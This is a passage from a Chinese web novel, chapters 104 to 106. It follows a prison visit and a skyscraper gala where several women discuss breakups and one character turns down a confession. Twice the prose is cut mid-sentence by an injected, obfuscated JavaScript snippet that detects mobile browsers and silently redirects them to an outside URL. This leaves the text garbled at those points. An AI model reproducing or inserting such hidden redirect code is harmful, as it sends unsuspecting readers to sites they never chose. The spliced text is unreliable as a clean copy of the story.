周骋志仿佛从二十六年的仇恨中脱离出一会儿,看清了汹涌海面上刮着怎样的暴风巨浪。他仰头望着公冶渡莲,悲苦地抖唇。 “我没有指责的意思,”公冶退后一步,说,“一点点也没有。” “因为换做是我,我也会恨这个世界,”公冶苦涩一笑,“说起来,我早就恨透了。只是我有时候也会想,古洛剩下的美食家该怎么办?如果当初,我把样本上缴国家,我是否就不用整日活在仇恨中了……” “国家不会帮你们的!只会要你们死啊!渡莲!!”周骋志哭吼,“你不该如此失望,你还太年轻,太相信这个世界的美好了,自用血清,销毁样本,才是当时唯一的出路!只要有灯芯,美食家就还有希望!渡莲,你们本不该遭受如此铺天盖地的歧视辱骂啊!!” “这事和你没有关系。” “可我害了静思!我为了帮忠云,帮清绝,我害了静思!!” “是啊,从始至终,我父亲都毫不知情,他成了你们赌桌上的筹码,你们害死了他。” 一声声抨击犹如子弹,击穿了周骋志佝偻的身躯,他声泪俱下,手从桌面上滑下,滑下,膝盖一弯,跪在了地上。 “对不起……对不起……” “对……不起……啊……啊啊……” 公冶渡莲浑身力气被抽空一般,听着周骋志拼命忍耐的痛恨的哭声,胸中酸涩胀痛。 “周叔叔,我应该早点来见你,是我一直在胆怯地逃避,”他拿起桌上的黑色帽子,戴上,“从今以后不会了,就算邓烟雨愿意成为你们的牺牲品,我也希望是她自己做出的选择,由她自己来选择,而不是被你们曾经做过的那些事一步步逼迫至此。” 仿佛回到了最初,这个年轻人站在不见天日的会见室,被重重迷雾包围,连帽檐下的表情都是晦暗难辨的。 他静立片刻,转身往外走。 “你所忽视的一滴水,也许是他人眼中的一条大河。” 周骋志的声音沧桑而苦痛,他被禁锢在这张桌子的另一端,湿润的眼中都是那道挺拔坚毅的背影。 公冶渡莲背对着他:“二十六年,九千多天,您一刻也没有后悔过?” “没有。” “即便如此,你们也无权左右她的人生,就是她的父亲也不行,”公冶注视着会见室阴沉的铁门,“谁都不行。” “渡莲,你觉得邓烟雨会在她的父母和你之间,做出什么样的选择?” 公冶握住门把的手没动。 “尽管去做吧,事与愿违,也不要后悔。” 他推门而出,空气和风再次流动起来。天光洗礼着长廊,不远处的段宁泊倚窗而笑。 公冶朝他走去。 “二十二分钟,”段宁泊看表,“聊得够久,影青警官大概忘了我说的,你和他只有——” “只有十分钟,然而段代表还是给足了我时间,”公冶举止从容,郑重地向他伸出手,“多谢。” 段宁泊目色沉沉,手从深灰色西裤里抽出,握住他的手,笑了:“一起去吃海鲜?” 公冶拒绝了,和来时一样,他在邱队和段宁泊的陪同下走出关海监狱。 邱队脸色不太好看,显然是对段宁泊同意让公冶和周骋志单独谈话并且谈了快半个小时的行为很不满意。 可人家身份地位摆在那,又能说什么。 只是脾气上来了一时下不去,本来还想着捎他一程拍拍马屁呢。正巧家里来了电话,邱队跟他们招手:“有事,先走了。” 目送吉普车绝尘而去,段宁泊抬手搭在额前:“喔,挺晒的。影青警官接下来也要回去了吗?” “嗯。”公冶已经在手机上查询回程的车票。 “我送你。” 公冶闻言,看向了他:“代表有车吗?” “我可以找我朋友借一辆。” “我还是坐高铁吧。” “不用客气。” “不是客气。” 一来一回,段宁泊也心知这小子不会领他的情,便作罢,在朋友开车来接他的时候和公冶礼貌作别。 周围没有一个人了。 公冶退出购票界面,拨通一个人的电话。 “喂,朗院长?小马哥在边上吗?” “你们现在和九保那边取得联系,要尽快,让他们送小可回来。” “HUB治疗仪可能是个幌子,孩子不能交给他们。” “好,您可以告诉他们,如果不答应,我会直接出发去接孩子,请他们做好心理准备。” 十分钟后朗玉山打来电话,小马和九保的人沟通无效,起了争执,公冶没有犹豫打给了顾令萍。 这是顾令萍第一次不接他的电话。 清爽的海风袭来,带了点藻味,公冶放下手机,往前走了一段路,来到海边。 这里是个地势较缓的斜坡,杂草丛生,零星开着几朵虞美人,下面就是大海和礁石,不高,但跳下去也恐有性命之忧。 公冶眺望着海面,目光最后落向山坡上火红的虞美人。 它们迎着微晒的日头,在疯长的杂草中一路燃烧殆尽地向上怒放,就算只剩下最后一朵,也没有弯折自己的腰。 公冶看着它们随风摇晃,眼底没有丝毫光亮。 叮叮,手机收到一条短信,只有五个字:【等庆典结束】 当晚六点,歌华市紫露区,双紫星摩天大楼下,鲜花,名车,闪光灯,红毯两侧人潮汹涌,政商名流万众瞩目。 晚霞如揉碎的多洛塔玫瑰铺满天际,钟塔敲响六下,深春的夜色微临楼宇。 首都,一派辉煌璀璨。 距离双紫星开幕庆典,还剩一个小时。 104. 暴风雨前 6:15PM,离江两岸建筑巍峨,灯火长明,江上的船只已被停航,深深波荡的水面只余一汪奢靡的夜色。 这条河流每至夜晚,就会倒映出一整座城的雄厚财力,知名度不亚于南陆的玫瑰港。 五分钟后,歌瑞亚纪念喷泉在两栋高耸入云的大楼前磅礴亮相,一辆白色宾利穿越冰凉的水幕,于外围停下。 车门打开,一只高跟鞋先露出,踩在了地上。 庆威凤手持晚宴包,以一袭高定白色礼裙出现在大众视野下,邓烟雨和蔡蔡趁她被快门声淹没之际,从另一扇车门下来,快步溜走。 长长的红毯之路实在耀眼,她们既不是名人,也不想这么暴露。从摩天大楼方向吹来的夜风有着不符合时节的舒畅,蔡蔡提着她的飘逸大长裙,迪士尼在逃公主似的往里跑:“我的妈呀,简直明星待遇,有点爽到了。” “等等我,蔡蔡。” 邓烟雨还穿不惯高跟鞋,走得扭来扭去,要蔡蔡一托二扶三提溜。 “你跑起来像只企鹅。” “你像土拨鼠。” 两个人互嘲完看对方一眼,都哈哈哈地爆笑出声。 蔡蔡快要被自己美翻了:“今晚我就是小说女主角!” 邓烟雨:“我恶毒女配!” “为什么要恶毒?” “善良女配谁还看啊!” “是吼哈哈哈哈——” 离目的地越近,她们越为双紫星恢宏壮观的外立面所惊叹,那就像神女两条曼妙有力的玉臂向上优美托起,高低错落,各捧一朵耀眼的国花,航拍下的双紫星顶楼正是双生紫露花盛开的样子,新闻一出便引各国富商前来一睹真容,以致于被举世瞩目的空中花园瀑布和这顶楼盛貌比起来,也不过成了用餐时怡情的背景罢了。 这栋百亿大楼就是富人们的游戏。 蔡蔡欲哭无泪:“我有恐高症,但我真的好想去顶楼啊。” 邓烟雨倒不恐高,就有点巨物恐惧症,仰头一饱眼福立马站不稳:“妈妈楼都在云里了,900米看来是真的。” 蔡蔡抱头:“你看啊,两条空中连廊全透明?!要是有大佬跟我一样恐高呢?” “智能调光,切换透光状态就行。” “噢对,要不说他们能赚钱呢,不过……”蔡蔡的反射弧对有一点不明白,“你刚说的妈妈楼是啥?” “它们小名,”邓烟雨像叮当猫举手介绍,“妈妈楼和宝宝楼,网上都这么叫。” “那真实名字呢?” “紫光楼和露华楼。” “这才好听,设计师要听到‘妈妈楼宝宝楼’还不哭晕在厕所!” 邓烟雨笑了:“快走吧!” 紫光楼八十层以下是综合商业体,高层住宅也已有人入住,露华楼往后将会成为无数职场精英汇聚之地,要等之后开放,所以今夜只是亮灯仪式。 正式被邀请参加开幕庆典的客人们都通过贵宾电梯乘上108楼,邓烟雨和蔡蔡不急着上,因为她们被门口的礼宾迷住了。 两位男礼宾彬彬有礼,优雅微笑,服务周到,有问有答,要是兜里有钱就买他们一夜了! 她们一步三回头,翻出手机一个劲地拍拍拍拍拍,拍完怼到两眼珠子前反复观摩。 “比你的公冶警官还帅。” “什么?!那还是差了两点点的!” “啊?哪里差?” “这鼻子就差一点!眼角!眼角也差一点!两点点。” “哇你看这么细?不过你说得也对……” 她们嘿嘿嘿地笑,直到上方传来一声:“两位美人,犯花痴的时候记得托住下巴啊。” 邓烟雨和蔡蔡同时回头,向上望去,祁宴西装革履地伫立在金丝般绕就的旋转楼梯上,身后的水晶吊灯把他映得分外尊贵夺目。 他以为看到爱乐之城的美人们从电影中舞出来了,目光多流连了一番。 有人认出祁宴,远远地和他打了招呼,祁宴回了个笑。 他一步步走下来,来到邓烟雨面前,那张脸英俊得不真实:“邓烟雨,你今晚太美了吧,真该让影青看看。” 邓烟雨呆了片刻,捂住嘴。 “干嘛?这么看着我?” “对不起,我想吐。” “啊?!” 庆威凤和某集团小千金挽着臂有说有笑一块儿进来,刚进门就看见祁宴要对邓烟雨动手动脚,狠着眼色上前:“我打你噢。” “冤枉啊,”祁宴躲开庆威凤的铁砂掌,“我夸她美,她说她想吐。” 蔡蔡兴致高涨:“那祁宴,你夸夸我呗,我不会吐。” 哟,难得她们有一个肯给他赏脸,祁宴今天心情好,乐于奉承:“蔡蔡,裙子不错,就是把你的美腿挡住了。” 三位美人像三只呆鸡愣了整整三秒,哗地散场。 “大少爷你会不会夸人啊!” “就这样还想继承集团?去划船吧。” “走走走耽误时间耽误时间!” 祁宴头一次被女生这么对待,气得咬牙切齿但依旧要保持微笑,而且他还察觉到不少视线。 一个祁家二少,一个庆氏千金——他俩的情史可有得那些媒体记者写了。 “等一下庆威凤。” “干嘛?” 祁宴眼神捎了醉意,靠近她后款款低语:“去‘上面’的卡。” “嗯?”庆威凤被他塞了张黑卡,一头雾水,“什么去上面?” 祁宴俯身在她耳边说:“你问邓烟雨就知道了。” 他趁机挠了一下庆威凤做好的精致盘发,带着坏笑朝邓烟雨招手,走了,独留庆威凤在那跺脚抓狂:“祁宴你个混球——” 庆威凤把黑卡交给邓烟雨,邓烟雨猜出这是公冶让祁宴给她们的,去往空中花园的通行证。 “看不到顶楼,看看空中花园也好啊!”蔡蔡兴奋地拍手。 “咱们先去开幕仪式炫小甜点和好吃的,等仪式结束,就去150楼的花园餐厅吃大餐!” “好啊!我要吃牛排!喝红酒!还要喝鸡尾酒!” “82年拉菲都给你开一瓶!” 三个女孩欢声笑语地提着裙子往里走,突然有人叫住蔡蔡。 一身西装打扮,戴眼镜,是蔡蔡男朋友。 “哎,你也来啦?”蔡蔡有点高兴,她前两天和男朋友闹不愉快了,双紫星活动都没和他说,不过他们公司肯定会组织过来的。 蔡蔡向庆威凤使了个眼色,庆威凤搭着邓烟雨的肩:“烟雨我们先上去,蔡蔡你快点来噢!迟了罚酒三杯!” 蔡蔡男朋友脸色不太好,邓烟雨看了他一眼,也没作他想,和庆威凤乘上电梯。 这部观光电梯供专人使用,上下迅速通畅,薰香如影随形。随着升高,玻璃外的景致也逐渐缩成一块完整的首都版图。 直到进入大厅,邓烟雨才感觉自己来错了地方,这不是她能攀登的地方。 宴会比低层商业区安静且有秩序,男人风度翩翩,女人衣香鬓影,每一抹身影都充满金钱的香气与韵味,都承载着一国经济上的重量。 庆威凤也不适应这种场合,从路过的服务员那拿了两杯香槟。 邓烟雨接过喝了一口,说:“还是冰啤好喝。” “我也觉得,我想喝冰红茶。” 离开幕仪式还剩十几分钟,宴会的人数基本落定,气氛也还算随意,庆威凤被她老爹叫去觥筹交错了,邓烟雨便落了单。 不过难得离政商们那么近,她倚着香槟桌,听他们聊天上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579357|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海里的,最接地气的一个话题居然是GS。 “老祁把GS安排在外边了?” “这层是极限,再上去应该不会了。” “来了多少?” “不多,我前面看到一个女公美,”富商摇晃香槟杯,丝巾之上的俊容多了分玩味,“确实漂亮。” 男人们淡淡地笑了。 邓烟雨放下酒杯,从相对不拥挤的人群中穿出,来到外面。 宴会厅外场地奢侈洁净,有几名侍者在工作,还有没进去的客人,坐在弧形大落地窗前品茗聊天,邓烟雨如果绕着找一圈要费不少时间。 正愁呢,她的后脑勺被敲了一下。 这个坏女人就喜欢从后面使坏,上次去新座找她拿钥匙也是这样。 邓烟雨没有回头已经在笑了。 “友知姐!毒株你也在!” 极乐身穿黑色警装,腰间配带警用装备,眼眸含笑,连一旁的毒株也带着淡到难以察觉的笑意。 他们没有戴止咬器,太好了。 极乐满心都是祝福:“今晚好美哦,小公主。” 毒株一如既往扶着腰带,说:“玩得开心。” 邓烟雨朝他们笑了会儿,突然抱住极乐:“最后一天上班快乐!” “谢谢宝贝。” 毒株给她们提供姐妹温情时刻,找刺舟去了。 “你们今晚来了几组执勤呀?” “一组和五组,”极乐精神奕奕,“组长刚发来消息,说我到十二点就可以走人啦哈哈!” 邓烟雨脸上的笑容僵了僵:“啊,也对,十二点以后就是新的一天了。” “怎么了?”极乐歪头,“表情这么不自然,和组长吵架啦?” “没有,是我最近心情不好,所以也不想影响他。” 极乐刚要开口,抬头看见GS五组组长野旷过来了:“我去楼下了,这一块交给你们。” “好。” “影青呢?” “返程中。” “让他别急了,熊队和蒋队说能把握。” “好的。” “对了,看到我组员了吗?” “啊?丢啦?跟我们一样哈哈哈,我们也刚弄丢刺舟,毒小猪去找了。” 两位公美面面相觑,邓烟雨夹在他们中间像只刚出生的小鸡崽。 “唉……”野旷扭头走了,酷酷地持出对讲机,“星坠,枫走,雾落,你们三死哪去了?80楼集合!” 等野旷走远,邓烟雨激动地跳:“好好听!” 极乐眨巴眼:“啥好好听?” “代号!”邓烟雨有种无法言喻的惊喜,“星坠,好好听,是女公美?” “是的,”极乐笑,“介绍你们认识?” “好耶,友知姐你真好,对了对了,楼下,一楼有两个礼宾超级——” “超级帅是不是!”极乐这下也激动了,和邓烟雨嘎嘎嘎地分享,“我去要他们电话他们不给!” “是不是名草有主了?” “没呢!问出来有一个还单身!” “哎呀好可惜!再接再厉啊友知姐!你行的!” 毒株和刺舟就远远看着她们,不敢靠太近。 “组长让我和枫走汇合,”刺舟拍拍他,“这层你们负责。” “忙去吧,有事呼我。” “回见。” 刺舟转身差点撞到一个女客人,倒不是他没看路,而是那人只走直线。 刺舟默默避开,毒株倒是被女客人的脸吓了一跳:“我去……” 女客人无视毒株和刺舟,笔直地朝邓烟雨走去,站在邓烟雨身后,静静地喊了一声“烟雨”。 邓烟雨回头,看到蔡蔡红肿的半张脸,整个人都懵了。 105. 暴风雨前 好在蔡蔡这张脸没引起这一层客人的骚动,邓烟雨带她去休息区坐下。 侍者倒了杯温热的柠檬水,走向被警察围绕的那一桌,蔡蔡接过水说了声谢谢,用冰袋敷着自己肿痛的脸,眼睛红红的。 “当时那么多人在,他居然骂我,还扇了我一巴掌,”蔡蔡说,“我从来不知道他还会打人。” 邓烟雨陪蔡蔡坐在一起,极乐抱臂靠着沙发扶手,毒株也已确认蔡蔡受伤不是什么安全事故,先去宴会厅那边守着了。 “他是不是喝酒了?” “没有,”蔡蔡前面在楼下哭过,带着浓浓鼻音,“他看不起我,之前总是和我炫耀要来参加双紫星庆典,我不过随口问了句能带我来吗,他就说我这样的小人物肯定来不了,后来他得知我朋友能带我参加,就开始发神经,每次和我见面都臭脸,动不动拿我说事,今天摊牌了,他就是觉得我爱慕虚荣,傍上有钱人自我感觉了不起,我太生气推了他,他就……打我……” 极乐捋了把头发,说:“你哪儿找来的这种极品?” 邓烟雨给了极乐委婉的一眼,蔡蔡呜呜呜地哭起来:“我要跟他分手。” “分,”邓烟雨拨开蔡蔡微乱的发丝,眼中满是心疼,“这必须得分。” 极乐忍不了,转身面向她们:“所以,你刚在楼下没分?被他扇懵了?” 蔡蔡愣了一下,眼泪顿时如波涛般哗哗淌下:“天呐,我忘了,我怎么没骂回去——” “事已至此,没办法了,但是光分不够,否则你这一巴掌白挨了。” 邓烟雨:“那怎么办?” 极乐口吻淡淡:“等十二点以后,我找他揍回去。” 蔡蔡吸着鼻涕,不解地重复:“十二点以后?” “公美不能随便动手,而且还是在执勤现场,”邓烟雨说,“十二点以后极乐警官正式辞去警察工作,那就是一个女人打一个男人,问题不大。” 蔡蔡靠在邓烟雨肩头,仰起脸:“谢谢你极乐警官,可他已经走了。” 极乐:“照片有吗?” 于是在毒株打第二个哈欠的时候,极乐摇着亮屏的手机坏笑着走来了。 也在这时,烟火一束束从她身后升起,在透明落地窗前盛大地绽放,她没有回头看,背着光走向他,花团锦簇的世界映照出一身漆黑的她。 毒株垂下眼帘,笑了。 双紫星庆典正式开始,纷纷扬扬的紫色花瓣从高空洒落,仿若夜空中的星河倾泻而下,宴会厅是观赏烟花的绝佳位置,厅外所见仅仅是冰山一角。 “哎,”极乐打打毒株的肩,把相册里的男人给他看,“这货,以后有幸遇到了记得给他一拳,力道大一点哈。” 毒株只看了一眼,摇头:“半拳就能送走,要出事的,我不加入。” “是吗?这么看来我最多也只能打一拳半了。” 极乐学她家猫主子伸了个懒腰,静静观望升燃的烟花和飘洒的花瓣,毒株与她一肩之隔,也在看,他们碧绿的眸中一片光华绚烂。 “组长什么时候来……” “组长什么时候来……” 两个人都惊讶地看向对方,下一秒就低下头,各自笑了起来。 关海西站夜幕低垂,公冶再次确认时间,眉间凝着些许不快。 探视结束出来快四点了,错过一班整点回歌华的车,下一班在五点半,本来就有点来不及,结果这趟列车还晚点。 晚了足足一个小时。 眼下没有改签的车,有乘客因为工作原因要去歌华,拖延那么久都没有得到一个明确的交代,于是投诉了,公冶去询问了原因,说是突发事件,消息快的人告诉大家说是有个小年轻在里头卧轨自杀。 “什么?!就在西西西站?!我们这站?!” “哎哟卧轨得多疼呐,何必这么想不开……” “不是,那我们就干等着吗?是不是骗我们啊,真的卧了吗?也没看到有警察来处理啊……” 公冶怀疑这人在胡说,果然没过多久就有工作人员来告知,是山上动物误闯入线路了,撞到不止一头,还在清理维修。 “哪个神经病在说小孩卧轨啊,有没有点良心!” 熊队和极乐都发来消息,让他不用急,公冶也就继续等着了,直到七点他才坐上回歌华的列车。 这一趟开得慢,预计晚上8点18分到达,他跟熊小滚打电话告知了情况。 “好的,没事,快到了和我说一声。” “你那情况怎样?”公冶问,“公美执勤那么明显不要紧?” “双紫星之前被居成克雇人闹过,让公美站眼皮底下是祁泰的意思,他要给居梁允一个警告。” “祁泰愿意配合?” “愿意,双紫星是他的心血,就算不搞垮居梁允也要挫他一顿,”熊小滚坐在车里,点了根烟,“居梁允还在宴上,目前没发现有脸生的美食家出席。” “蒋队他们呢?” “在席间,刚来了消息,祁泰要带人走了。” 祁泰和警方通过气,居梁允一旦和他谈生意了,就引他上楼。 宴会厅大门打开,居梁允和祁泰愉快地攀谈着往外走,大概要去顶层。邓烟雨等了会儿才看到庆威凤,她在最后,脸色冷淡。 “威凤怎么了……”蔡蔡哭哑了嗓子,“她好像也不开心?” 邓烟雨向她招手,庆威凤一过来看见蔡蔡的脸,震惊地摊手,问清来龙去脉后气得砸了手中的包。 “你那个男朋友我上次就觉得有问题!但是打人也太过分了吧!” 蔡蔡吃着服务员送来的点心,问:“威凤你怎么也不开心?庆典没意思?” “不是,”庆威凤靠向沙发,眉宇之间全是疲惫,“我接到宋博电话,他也发神经要跟我分手。” 邓烟雨和蔡蔡茫然呆滞,像被定住了。 “今天是什么分手日吗?”邓烟雨索然无味地放下叉子。 “他,有,病,”庆威凤气得额头的筋若隐若现,“我叫他来,他不来,说让我玩得开心,前面我在听致辞,没接到他电话,放烟花那会儿我回过去,你们猜他说什么?他说看到我和祁宴在一块,祁宴亲了我!他说我在他和祁宴之中选一个,我一定会选祁宴!我问他你抽哪门子疯?!他说他就是个烂人,但我也不见得是什么好人,山水有相逢,但我们不会了!他是傻————” A后面那个单词,庆威凤硬生生憋了回去,狠狠摔了一下沙发抱枕。 邓烟雨眼睛都听直了,蔡蔡嘴里的小蛋糕忘记嚼,“啪嗒”掉在盘子里。 “怎么会有这种极品!我怎么会和这种极品交往!!我差点!差点在祁泰叔叔面前失态!” 邓烟雨低头思索:“他肯定来了,然后在一楼看见祁宴和你说话。” 蔡蔡补充:“当时祁宴给你卡,挨得你很近,估计他那个角度以为你们接吻了……” 庆威凤扶额:“我受不了了,他不听我解释,一个劲说‘是我不配,你高高在上太久你不懂我’之类的……” “威凤,我猜测宋博应该是一个考虑很多而且心思敏感的人,太卑微的男生还是放弃吧,你和他在一起会很累的。” “我赞同烟雨的话。” 庆威凤以前不是没谈过恋爱,只不过对方都是事业有成的男性,宋博算是她第一个主动愿意了解的人,然而庆传雄并不看好。 过来人的眼光就是老辣,彼时庆威凤太天真,“门当户对”这四个字,直接瓦解了他们这段悬在冰面上的感情。 她们心如死灰地陷入了沉默,邓烟雨犹豫再三,也吐露了心声:“我和我男朋友也不太顺利……” “什么?连你也?”两个女生愁容满面,“别啊,你家公冶警官怎么了?劈腿了?” 蔡蔡说着拍自己的腿:“丑的不行,帅的也不行,男的都不行吗?” “不是劈腿,”邓烟雨心中不安,“我感觉他有事瞒我,我太纠结了,希望他能主动说出来,可我觉得只要我不问他会永远瞒下去……” “那就主动问,”庆威凤说,“必须问清楚,如果瞒你是为你好,可以再考虑考虑,如果是在做对你不利的坏事,怕你知道蓄意隐瞒,那就分手!帅哥我这多的是,年上年下都有,不缺他一个!” 蔡蔡一叉子插进蛋糕,义愤填膺:“再不济还有楼下两个礼宾!” 邓烟雨:“有一个名草有主了。” 蔡蔡痛苦地抱头,邓烟雨心更乱了。 “我们能不能不要这样?”庆威凤拿上晚宴包,站起来,“姐妹们,空中花园还看不看了?国际巨星就在楼上,不合照了?” 蔡蔡:“我要喝酒。” 邓烟雨:“小蛋糕太甜,我想吃烤生蚝。” “那就走。” 邓烟雨走前找到了极乐:“友知姐,他来了麻烦和我说一声。” 极乐一边盯着远处的祁泰等人,一边点头:“组长的车子晚点了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579358|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计要九点左右才能到这。” “我知道,”邓烟雨想了想,又说,“不,不麻烦你了,我自己找他,没事了友知姐,我先走了。” “小雨,”极乐拉住邓烟雨,来到人少的边上,“组长今天是去关海监狱探视一个人,有和你说吗?” 邓烟雨面容沉静:“没有,他只和我说去关海有事。” “小不点,接下来我们有任务,影青组长就算来了也会以任务为主,”毒株目视前方,“我不知道你们发生了什么,总之见了面好好谈,别吵。” “嗯,”邓烟雨垂眸,“我不会影响他出任务的。” 毒株看向她,放缓语气:“无论如何,他也不会伤害你。” “谢谢你毒株。”邓烟雨坚定地朝他一笑,转身离开。 150楼的花园瀑布餐厅是典型的法式浪漫,灯光调得比较暗,营造了成年人的暧昧氛围,也显得窗外夜景格外璀璨。 三个女孩来了这就大快朵颐,庆威凤点了一本菜单,报了祁宴名字:“他买单。” 邓烟雨吃了一只烤生蚝就吃不下了,发现里面还有一间酒吧,她就去了,反而嚷嚷要喝到天亮的蔡蔡被一桌海鲜料理控住了。 酒吧环境更私密,下面皮沙发坐了几名西装笔挺的人,桌前一杯马天尼。邓烟雨选择了吧台位置,坐上去时,深绿裙摆像玫瑰的花瓣剥落下来,引起沙发上一位男性的注视。 酒保问她喝什么,邓烟雨托着腮,不假思索:“大都会。” “……” “不等等。” 她临时改变主意,阻止去调酒的酒保:“边车……给我一杯边车。” 酒保温柔一笑,说:“好。” 她喝到了他最爱的边车,酸甜,清爽,驱散了一身的焦虑与疲惫,大概是酒保的调酒技术太好,还把一味回忆也调进去了。 一个人坐到了她身边,邓烟雨以为是他,喜出望外地转过头。 灯光弥漫,如欲横流,映出庆云今侧脸的轮廓。他缓缓对酒保说:“和她一样,”而后才看向邓烟雨,“怎么,在失望?” “没有,”邓烟雨指尖轻触着酒杯,“我以为是我男朋友。” 庆云今今晚同样盛装出席,气质昂贵,这会儿难得有个人的时间,略微松了下领带:“他今晚过来,是为工作,还是为你?” “……是为工作吧,”邓烟雨小口喝着边车,“GS来了两组执勤,据说是祁先生要求,他是组长,自然以工作为重。” 庆云今意味深长地喃喃:“工作么……” 邓烟雨给自己加油打气:“我理解的,工作对你们很重要。” 鸡尾酒推至面前,庆云今说了声谢谢,凝视杯中浓度偏低的液体:“我好像也曾因为工作,让你一个人待着。” 邓烟雨露出困惑的表情。 “看舞剧那次。其实那条街很黑,我应该亲自送你回家,”庆云今举起精细的酒杯,浅浅喝了一口,感叹,“可惜了。” “没事,”邓烟雨说,“那条街走了那么多次,我习惯了。” “当时你还是单身吗?” 邓烟雨眨了一下眼睛,下意识说:“额,是啊……” 庆云今单手托腮,轻轻歪过头,眼底有不明的笑意:“所以我才可惜啊。” “可惜……?”邓烟雨绞尽脑汁,“所以你……喜欢走夜路?” 不知是灯光使然,还是氛围作祟,庆云今眼中添起微醺的热意:“我是在可惜,那晚陪你的不是我。” “云今哥,你是喝醉了吗?”邓烟雨紧张地笑了笑,避开视线,“威凤还在外面呢,对了,她失恋了,要不你去安慰安慰她……” “我知道说这话有些趁人之危,”庆云今的目光带着不可忽视的温度,落满她一身,“如果你觉得和那个人相处太累了,你还有我。” “只要你愿意。” 邓烟雨眼前一片朦胧,看不清是酒还是桌上倒影,直到她的手被握住。 她不得不看向他,一个让她意外到不知该如何回答的男人。 他没有复杂的身世,没有悲惨的童年,没有各方的掣肘,相反的,他生在书香门第,家境优渥,品貌俱全,他的身份和地位可以让她下辈子不愁吃穿,而他从不将这种种优势表露,只是想告诉她—— “烟雨,我能给你足够的安全感。” 邓烟雨浑身僵硬得抽不出手。 她的人生中,从来没有遇到过这么难的题目。 106. 暴风雨至 “对不起。” 邓烟雨稍微使了点劲,挣脱了他的手,握住冰凉的酒杯。 手背还残留着他掌心的温度。 “谢谢你能和我说这些,也谢谢你的认可,但我很珍惜和他的感情,我没办法回应你,以后也不会,对不起。” 庆云今听着她发颤的声音,微笑:“这么绝,一点机会也不留给我?” 邓烟雨调整好呼吸,再次面向他:“我想我们不合适。” 庆云今眉间一紧:“是我的家世让你有所顾虑?” 邓烟雨直言不讳:“是。” “公安美食家就可以?” “和他是不是公安美食家没关系,我喜欢的是他这个人。” “如果他也和我一样呢,”庆云今说,“烟雨,我们的距离有那么远吗,你可以和小凤成为朋友,却不愿意和我再近一步。” “那是因为——” “我不会逼你做出选择,也不会打扰你和他,我今晚来找你,只是……”庆云今微微一顿,推开那杯酒,露出熟混于职场特有的礼节性笑容,“就像我前面说的,如果你觉得累了,随时可以靠向我。” 邓烟雨和他彬彬有礼的目光短暂相触。 “你只需要知道这点,即可。” 暗蓝的光色像一汪深海,带着点窒息感,笼罩了他们。 “先走了。” “再、再见……” 庆云今向外走去时,正好有位男士进来,他们相视一笑。 “云今,一个人?” “嗯,玩得愉快。” 男士和他在门口寒暄几句,作别,进来和卡座的男女打招呼,老朋友般地亲切问候,坐下了。 邓烟雨背对他们,听着他们的对话,笑声,碰杯声,上流的气息席卷了她空空荡荡的躯体。 她将边车一饮而尽,对酒保说:“来杯橙汁。” “想吃抹茶千层……”极乐活像踩奶上瘾的小猫,扒着毒株肩膀,两只爪子又抓又挠,“禁糖期太磨人了……” “再忍忍,”毒株看时间,“快了。” “祁泰怎么还不走。” “那姓居的心眼子挺多,嘴上说着谈合作,瓮是一点也不想钻。” 极乐冷笑,撒开她的踩奶专属人:“祁泰会买他的账就怪了。” 话音未落,后面传来一声惊慌的“哎哟!”,极乐背后生眼般灵敏一躲,毒株眼疾手快扶住那个哎哟的人。 “哎哟哎哟,我的脚,这鞋怎么回事啊!”女人的鞋子掉了,在抱怨,硕大的翡翠耳坠晃得毒株眼微眯。 “女士,您没事吧?” “你看我像没事吗,扶我也要两只手啊,你这样弄得我痛死!”女人拢了拢歪斜的披肩,不满地打量他们,“美食家怎么来了?” 极乐礼貌说明:“GS总部公美,今夜负责紫光楼执勤。” “哦,”女人没心思再听,拨弄头发,“那好,你们帮我个忙。” 极乐和毒株对视一眼。 “哎,我在和你们说话呢,嘴巴长没长?不知道回应的啊?” “您说。” “我家珊娜不见了,你们快点找一下啊,前面宴会上还在跑来跑去,一转头就没影了呐,急死我了。” “可是女士……” “哎呀可是什么呀可是,我的事就是最要紧的事,你们有工夫讲话早就找到了!快点啊要我催吗?” “麻烦能告诉我们珊娜的年龄以及外貌特征吗?” “一岁多啦,”女人比划了几下,“短毛,灰蓝色,戴了珍珠项链。” “等等,”毒株出言制止,“珊娜是只猫?” “什么叫猫啊,那是我家孩子!” “一岁,短毛,灰蓝色,”极乐皱眉,“您确定不是猫?” 女人气急败坏:“你们到底听不听得懂人话!它对我来说就跟我亲生的孩子一样,我孩子丢了我能不急?!你们现在跟我扯是猫是人有意思吗?!” 极乐叹气,刚要开口,直接被毒株拉开。 极乐投去奇怪的眼神,毒株动了动下巴,极乐望向远处——祁泰和居梁允纷纷起身,要走了。 “女士,抱歉,我们目前在负责本楼执勤,按要求是不得随意走动的,找猫的事还是请大楼工作人员代劳吧。” 既然毒株已经言明,极乐也不想再跟这人废话,准备跟上走远的祁泰。 “你一个美食家敢这样对我说话?”女人咬牙切齿,“你算什么东西,珊娜是你这个畜生能比的吗,你敢看不起我?!” 一声怒吼引来不少视线。 极乐上前告知:“女士非常抱歉,我们确实不算什么东西,也没有能力帮您找珊娜,还请您见谅,我们会和本层经理说明,让他调动人员帮您寻找,也希望您的猫咪能尽快回到您身边。” “说到底你们就是不肯找了?” “我们有任务在身,实在抱歉。” 女人气得尖声咆哮:“什么人!什么人让他们进来的?!” 